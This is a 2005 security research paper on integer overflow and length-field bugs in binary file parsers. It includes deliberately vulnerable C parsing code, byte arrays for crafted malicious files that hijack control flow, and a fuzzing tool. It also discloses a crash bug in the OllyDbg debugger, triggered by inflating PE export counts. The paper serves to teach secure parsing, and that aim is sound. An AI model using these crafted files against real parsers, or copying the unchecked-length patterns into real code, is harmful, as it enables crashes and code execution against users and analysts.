Analyzing Common Binary Parser Mistakes

2147483647+1

Orlando Padilla
xbud@g0thead.com

Last modified: 12/05/2005

Contents

Seduction

Abstract: With just about one file format bug being consistently released on a weekly basis over the past six to twelve months, one can only hope developers would look and learn. The reality of it all is unfortunate; no one cares enough. These bugs have been around for some time now, but have only recently gained media attention due to the large number of vulnerabilities being released. Researchers have been finding more elaborate and passive attack vectors for these bugs, some of which can even leverage a remote compromise.

No new attacks will be presented in this document, as examples and an example file format will be presented to demonstrate an insecure implementation of a parsing library. As a bonus for reading this article, an undisclosed bug in a popular debugger will be released during the case study material of this paper. This vulnerability, if leveraged properly, will cause the debugger to crash during the loading of a binary executable or dynamic library.

Disclaimer: This document is written with an educational interest and I cannot be held liable for any outcome of the information being released.

Thanks: #vax, nologin, and jimmy haffa

Introduction

A number of papers have already been written describing the exploitation of integer overflows, however, very few publications have been aimed at the exploitation of integer overflows within binary parsers. The current slew of advisories released by iDefense (Clam AV, Adobe Acrobat), eEye (Macro Media, Windows Metafile) and Alex Wheeler via Rem0te.com (Multiple AV Vendors) on file format bugs should be enough to take these bugs seriously.

The most common mistake applied by a programmer is in trusting a field inside a binary structure that should not be trusted. During the design phase: efficiency, simplicity and the secure implementation of a particular project should be at the top of the priority list. When dealing with data that cannot be presented only as strings, a length field is required to tell the application when to stop reading. When dealing with sections that must have subsections, knowing ahead of time how many sections are embedded within the primary section of a structure is required and again, a value must be used to instruct the application only to iterate x number of times. In the following paragraphs, the description of a binary file structure will be presented, followed by applied examples of typical coding errors encountered when auditing applications. An overview of integer overflows will be discussed for the sake of completeness. Finally, a case study of several bugs found during the research of a particular file format will be shown.

Certificate Storage File

The following file format was designed and written specifically for this article and has no real world applicable use. The general idea behind the implementation of this file format is to create a single binary file acting as a searchable database for certificate files. The file will consist of two core structures, which will hold the information necessary to parse the certificates in DER format. This is a rough diagram of what the file looks like after compilation:

Structure	Offset	Size
OP Header	0	4
Element Count	4	2
Cert File Fmt Struct	6	6
Cert Data Struct	10	16
Cert 1		
Cert 2		
Cert ...		
Cert n		

Figure 1: Binary Layout

The following structures are defined on the file format's compiler library.

```
typedef struct  _CERTFF
{
   unsigned int    NumberOfCerts;
   unsigned short  PointerToCerts;
}CERTFF,*PCERTFF;

typedef struct  _CERTDATA
{
   char    Name[8];
   unsigned short  CertificateLen;
   unsigned short  PointerToDERs;
   unsigned char   *DataPtr;
}CERTDATA,*PCERTDATA;
```

The first data structure consists of two unsigned integers, (short) NumberOfCerts and (long) PointerToCerts. These hold the number of certificates in total, stored in this binary NumberOfCerts and the offset from the beginning of the file to the first certificate data structure CERTDATA PointerToCerts. We can already assume that a parser will iterate through the image file NumberOfCerts times, starting from PointerToCerts in chunks of the size of CERTDATA at a time. The second data structure consists of a character pointer 8 bytes in size, which is used to hold the first 7 characters of a certificate's description, followed by two unsigned short integers which hold the length of the certificate referred to by this structure, and the offset to the beginning of the certificate respectively. The last element is an unsigned char, which is used to carry the body of the certificate by the compiler.

Applied Examples

As the number of buffer overflows decreases, the number of integer overflows and improper file and binary protocol parsing bugs increases. The following URL query to OSVDB's (Open Source Vulnerability) database for integer overflows is a perfect example of the diversity of applications affected. The list is rather short considering the number of vulnerabilities actually released in the past two - three years. Still, it accurately displays different levels of severity: Kernel, Library, Protocol and file format bugs.

http://osvdb.org/searchdb.php?action=search_title&vuln_title=integer+overflow&Search=Search

As a proof of concept, I developed a parsing library for the construct above. See Appendix A for code. The code functionality is simple. As explained above it consolidates certificates (in this example) into a single file. There are several bugs in the library that I mocked from actual implementations of different open source and closed source applications. The first vulnerability exists in the single cert extraction tool 'certextract.c'. The issue is pretty obvious; the library trusts that the file being parsed has not been tampered with. The following code snippet highlights the issue:

```
unsigned char   cert_out[MAX_CERT_SIZE];
unsigned char   *extract_cert = "req1.DER";
...
pCertData = (PCERTDATA)(image + get_cert(image,extract_cert));

memcpy(cert_out,(image + pCertData->PointerToDERs), pCertData->CertificateLen);
...
```

The vulnerability exists because the library assumes the certificates will not be larger than `MAX_CERT_SIZE` due to the compiler's inability to take files larger than the set size. All an attacker has to do is modify the file using an external editor or reverse engineering the file format and creating a malicious certificate db. A step-by-step example on exploitation of this bug is out of the scope of this document, but let's look at what has to be done to prepare an exploit for this vulnerability.

We already know we have to modify the length field to something larger than `MAX_CERT_SIZE` or if we look specifically at 'certlib.h', larger than 2048 bytes. Looking at the structure of the headers, we can see that each certificate has its own length field. So creating a valid structure header and placing it at a correct offset along with a corresponding payload should do the trick. With this in mind, calculate the number of bytes from the beginning of the file to the first certificate.

```
[SIG 4 bytes][Element Count 2 bytes][First Struct 6 bytes][Our Fake Cert Struct]
```

It seems we can drop our fake structure after the 12th byte. The cert structure will look something like the following (depending on the size of the payload you are using):

```
unsigned char exploit_dat1[] = {

  /* Name of our fake cert */
  0x72, 0x65, 0x71, 0x31, 0x2e, 0x44, 0x45, 0x00,
  /* our, length */
  0x53, 0x08,
  /* where we can write our data, PointerToDer*/
  0x18, 0x00,
  /* DataPtr just for completion */
  0x00, 0x00, 0x00, 0x00
};
```

Notice the length is an unsigned short integer that limits our payload to `0xFFFF` (65535), which should be more than enough space. The two most important sections of our structure are the length, and the value we give PointerToDer since this will point to the beginning of our payload. Since we are choosing to make our fake certificate the first one on the list, anything below it can be overwritten with little concern. At offset `0x18` of the dat file we have `0x0853` bytes of A's, notice there is no bounds check on this value. Below is a sample run of a valid certsdb.dat file and a second sample run with our malicious dat file.

```
(xbud@yakuza <~/code/random>) $./certextract certsdb.dat out.DER
cert req1.DE
len: 657        PtrToData: 90

(xbud@yakuza <~/code/random>) $md5sum req1.DER out.DER
e3e45e30b18a6fc9f6134f0297485cc1  req1.DER
e3e45e30b18a6fc9f6134f0297485cc1  out.DER
```

```
(gdb) r ./badcertdb.dat out.DER
Starting program: /home/xbud/code/random/certextract ./badcertdb.dat out.DER
cert req1.DE
len: 2131       PtrToData: 27

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

The actual exploitation of this vulnerability is left as an exercise for the reader, given the file structure necessary to build the attack it is now trivial to complete.

Continuing Applied Examples

The utility 'certdb2der.c' provided in this example suite iterates through the dat file and dumps the contents of each certificate into individual files. The CERTFF (Certificate File Format) structure contains an element called NumberOfCerts of type unsigned int. This integer explicitly controls the loop iterator, controlling the number of CERTDATA structures said to be in the body of dat file.

```
59   pCertFF = (PCERTFF)(image + OFFSET_TO_CERT_COUNT);
60   alloc_size = (pCertFF->NumberOfCerts + 1) * sizeof(CERTDATA);
61
62   pCertData = (PCERTDATA)malloc(alloc_size);
63
64   memcpy(pCertData,(image + pCertFF->PointerToCerts),alloc_size - 1);
```

An integer overflow condition may be triggered during memory allocation for the 'pCertData' array of structures. If a specially crafted dat file contains a high enough value during memory allocation, pCertDat array is deemed inproper by the multiplication in `line 60 (pCertFF->NumberOfCerts + 1) * sizeof(CERTDATA)`. The maximum value for an unsigned integer is (4294967295) or `0xffffffff`, so when the value at NumberOfCerts is multiplied by sizeof(CERTDATA) or 16 bytes an overflow occurs causing the value to wrap resulting in an invocation negative malloc() or a malloc(0). This could then be leveraged into executing arbitrary code on certain malloc implementations by overwriting control structures in the heap. Again, exploitation is not covered in detail, but pre-exploitation is explained below. Please refer to the references section for papers covering heap overflow exploitation.

Constructing a fake valid CERTFF chunk and properly placing it in a dat file will be what most of the work consists of when preparing for file format exploit. The first 6 bytes of our file will remain the same, so we can assume our exploit to look something to the following:

```
[ 4 ][      2      ][            6              ][Cert 1][Cert 2][Cert ...]
[SIG][Element Count][Fake Number of Certs + 2 bytes][Our Fake Certs ]
```

```
unsigned char exploit_dat1[] = {
  /* header info */
  0x4f, 0x50, 0x00, 0x00, 0x01, 0x00,
  /* our length followed by our certs pointer */
  0xff, 0xff, 0xff, 0xff,
  0x0a, 0x00,
  /* One valid cert */
  0x70, 0x65, 0x71, 0x31, 0x2e, 0x44, 0x45, 0x00,
  /* our length */
  0x00, 0x07,
  /* where we can write our data to PointerToDer*/
  0x00, 0x26,
  /* DataPtr useless to us */
  0x00, 0x00, 0x00, 0x00,
};

unsigned char exploit_dat2[] = {
  /* fake certs for fill */
  0x41, 0x41, 0x41, 0x41, 0x2e, 0x41, 0x41, 0x00,
  /* our length */
  0x00, 0x10,
  /* where we can write our data to PointerToDer*/
  0x26, 0x04,
  /* DataPtr useless to us */
  0x00, 0x00, 0x00, 0x00,
};
```

The pseudo code below denotes the structure of the rest of the binary dat file.

```
for(i = sizeof(exploit_dat1); i < buf.length; i+= sizeof(exploit_dat2))
    memcopy(buf + i,exploit_dat2, sizeof(exploit_dat2));
```

In short, the code copies the contents of our second structure `exploit_dat2`, after the 24th byte till the end of the buffer is reached. The following displays an iteration of the utility used correctly, followed by an iteration through the malicious certificates db file.

```
(xbud@yakuza <~/code/random>) $./certdb2der reqs/certsdb.dat
req1.DE of length: 657 is being written to disk...
req2.DE of length: 649 is being written to disk...
req3.DE of length: 653 is being written to disk...
req4.DE of length: 651 is being written to disk...
req5.DE of length: 652 is being written to disk...
(xbud@yakuza <~/code/random>) $
```

```
(gdb) r 2badcertdb.dat
Starting program: /home/xbud/code/random/certdb2der 2badcertdb.dat

Program received signal SIGSEGV, Segmentation fault.
0xb7e1267f in memcpy () from /lib/tls/libc.so.6
(gdb) x/i $pc
0xb7e1267f <memcpy+47>: repz movsl %ds:(%esi),%es:(%edi)
(gdb)i reg
eax            0xffffffff       -1
ecx            0x3fff9c02       1073716226
edx            0x804a008        134520840
...
```

Reconstructing our memcpy(buf,edx (our fake certs), eax (-1)), the value stored in eax is -1 which when converted to unsigned inside memcpy, 4GB of data are copied into our destination buffer of only 0x800 bytes in size.

Case Study The Microsoft PE/COFF Headers

There a number of documents and tools out there that explain the structure of Microsoft's infamous PE (Portable Executable) and old Unix Style COFF (Common Object File Format) header. As such, I will refrain from elaborating on what each element inside each structure does. Instead, I will focus on the critical sections that may allow an attacker to alter the contents of header elements specifically to break implementations of PE/COFF parsers.

With that in mind we can now begin our journey into the world of PE. At file offset 0x3C as specified in MS's pecoff.doc, there is a four byte signature `PEØØ`, immediately after the signature of the image file, there is a standard COFF header of the following format:

```
IMAGE_FILE_HEADER //(Coff)
{
   unsigned short  Machine;
   unsigned short  NumberOfSections;
   unsigned int    TimeDateStamp;
   unsigned int    PointerToSymbolTable;
   unsigned int    NumberOfSymbols;
   unsigned short  SizeOfOptionalHeader;
   unsigned short  Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
```

Does anything look similar to our hypothetical file format used in the examples above?

NumberOfSections and NumberOfSymbols are all synonymous to NumberOfCerts with respect to their own file format. These elements, along with SizeOfOptionalHeader make for interesting attack vectors. Before strolling further along into the COFF Header specifics, it is important to pay a bit more attention to the offset `0x3C` being referred to in the PECOFF.doc document. It states that the file offset specified at offset `0x3C` from the image file, points to the PE signature.

What would happen if this file offset was bogus? What if the offset at offset `0x3C` points to `fstat(image).st_size + 1`? We cause the parser to access illegal memory. This bug was present in the majority of the PE Viewers tested. Although the significance of this bug is minimal since the modified binary will no longer execute, picture a scenario where an attacker simply needs to crash an application which happens to preprocess a PE Header? All an attacker must do to trigger this bug is build a fake MZ header also known as a Dos Stub header and invalidate the `0x3C` offset. [1]

The second element, NumberOfSections, indicates the number of Section Headers this file has mapped. Once again, fuzzing this element with random numbers yields interesting results on tools like, MSVC dumpbin.exe, PEView, PE Explorer, msfpescan etc...

Continuing our dive into PE madness, following the COFF Header there is an `OPTIONAL_HEADER` also referred to as the PE Header which consists of the following elements:

```
_IMAGE_OPTIONAL_HEADER32 {
   unsigned short   Magic;
    ...
   unsigned int     ImageBase;
    ...
   unsigned short   MajorOperatingSystemVersion;
   unsigned short   MinorOperatingSystemVersion;
    ...
   unsigned int     SizeOfImage;
   unsigned int     SizeOfHeaders;
    ...
   unsigned int     LoaderFlags;
   unsigned int     NumberOfRvaAndSizes;
   IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
```

There were a number of elements omitted here for the sake of brevity, most of which aid the loader in identifying the type of file and its core mappings. Please refer to the appendix for more information on what each specific element means. Again, several elements in this structure look interesting enough to play with, however we will only be looking at the `IMAGE_DATA_DIRECTORY` array of entries. In particular, the first index of that directory contains a pointer to the `EXPORT/IMPORT_DIRECTORY_TABLE` structures. The element NumberOfRvaAndSizes in the structure above refers to the number of elements in the

[1] The MS-DOS Stub is a valid application that runs under MS-DOS and is placed at the front of the .EXE image. The linker places a default stub here, which prints out the message "This program cannot be run in DOS mode" when the image is run in MS-DOS.

DataDirectory array. The following is the `EXPORT_DIRECTORY_TABLE` structure which is the last structure fuzzed for this case study.

```
_EXPORT_DIRECTORY_TABLE {
   unsigned long    Characteristics;
   unsigned long    TimeDateStamp;
   unsigned short   MajorVersion;
   unsigned short   MinorVersion;
   unsigned long    NameRVA;
   unsigned long    OrdinalBase;
   unsigned long    NumberOfFunctions;
   unsigned long    NumberOfNames;
   unsigned long    ExportAddressTableRVA;
   unsigned long    ExportNameTableRVA;
   unsigned long    ExportOrdinalTableRVA;
} EXPORT_DIRECTORY_TABLE, *PEXPORT_DIRECTORY_TABLE;
```

[2] The elements NumberOfFunctions, NumberOfNames indicate the obvious and again if something trusts the number in this structure without error checking, unexpected results can occur.

0.1 Introducing breakdance.c

Although file fuzzing is relatively simple, tools help reduce the amount of time it takes for you to reconstruct a format to reach deep into a section buried within several structures. I typically use *xxd -i*, *hd (hexdump)*, or *shred* (hexeditor) for windows to reconstruct a binary image and fuzz the structures manually, but I decided to develop a tool to do the work for me in the case of PE. The following options are available:

```
Usage: ./breakdance [parameters]
Options:
        -v                      verbose
        -o [file]               File to write to (defaults) out.ext
        -f [file]               File to read from
        -e [value]              Modify Export Directory Table's number
                                of functions and number of names
        -p                      Print sections of a PE file and exit
        -c                      Create new section (.pepe) not to be used with -m
        -s [section]            Section to overwrite (can be used with -c)
        -m [section] [value]
        -n [length]             Fuzz Export Directory Table's Strings
                                Modify [section] with [int] where:
                                section is one of [image_start] [number_of_sections]
```

[2]The Export Directory Table contains address information that is used to resolve fix-up references to the entry points within this image.

```
                ex. ./breakdance -v -o out -f pebin -m "image_start" 65536
                ex. ./breakdance -v -o out -f pebin -c -s .rdata

[Warning if -o option isn't provided with mod options, changes are discarded]
```

The following is a list of binary parsers affected by the fuzzing options provided by breakdance.c, the list is by no means comprehensive in the sense of PE parsers but it is all I test against. The fuzzing capabilities are rather minimal considering the number of structures and elements accompanied by the PE/COFF specification, however it is enough to demonstrate how broken, binary parsers can be.

Tool Name	Vendor	Section
PE View	Wayne Radburn	All
MSVS bindump	Microsoft	All
OllyDbg	Oleh Yuschuk	NumberOfFunctions
PE Explorer	Haeventools.com	NumberOfSections

Figure 2: Affected Toolsets

Although I can almost guarantee other parsers are just as buggy, this selection is pretty well known and should suffice as a demonstration. The only issue I will elaborate on is the OllyDebug denial of service attack. This issue is interesting due to the fact that even after modifying the PE Image to DoS OllyDebug, the binary itself is still executable. This can be leveraged as an attack vector against reverse engineerers who rely on olly debug to reverse binaries. The following is a run of breakdance against a DLL.

```
(xbud@yakuza <~/code/random>) $./breakdance -v -e 4294967295 -f \
/home/xbud/code/libpe/testbins/vncdll.dll -o vnc.dll

...

NumberOfFunctions 58, NumberOfNames: 58, now 2147483647,2147483647
Dumping 348160 bytes

(xbud@yakuza <~/code/random>) $

-- Inside WinDbg --

This exception may be expected and handled.
eax=005d44d0 ebx=0000049c ecx=005d46c8 edx=000001f8 esi=01ed0465 edi=00000000
eip=0045cda4 esp=0012e70c ebp=0012ede8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293

*** WARNING: Unable to verify checksum for C:\tools\odbg110\OLLYDBG.EXE
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\tools\odbg110\OLLYDBG.EXE -

OLLYDBG!Createlistwindow+0x1bb4:
0045cda4 668b0459         mov     ax,[ecx+ebx*2]        ds:0023:005d5000=????
```

```
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ede8 0045f7eb 01ed0465 76bf1f1c 76bf2075 OLLYDBG!Createlistwindow+0x1bb4
00000000 00000000 00000000 00000000 00000000 OLLYDBG!Decoderange+0x180b
```

Conclusions

The general rule of thumb here is not to trust any user modifiable data. The trust between application and input components such as sockets, file I/O, named pipes etc. should always be minimal and at an extreme, should be considered dangerous. The fact that a file format specification exists is not an excuse to assume all data gathered from an alleged file is valid. Validate your input against a working ruleset, and if the assertion fails, raise an exception. Keeping your code simple means accept only valid input, deny all variants.

All the code referenced is provided in the attached tar ball, a safer version of the library for parsing the hypothetical file format developed for this paper is included for demonstration purposes.

Bibliography

[1] OSVDB. *OSVDB Advisory Descriptions* http://www.osvdb.org

[2] Microsoft Corporation. *PECoff Specification* http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx

[3] blexim. *Integer Overflows* http://www.phrack.org/show.php?p=60&a=10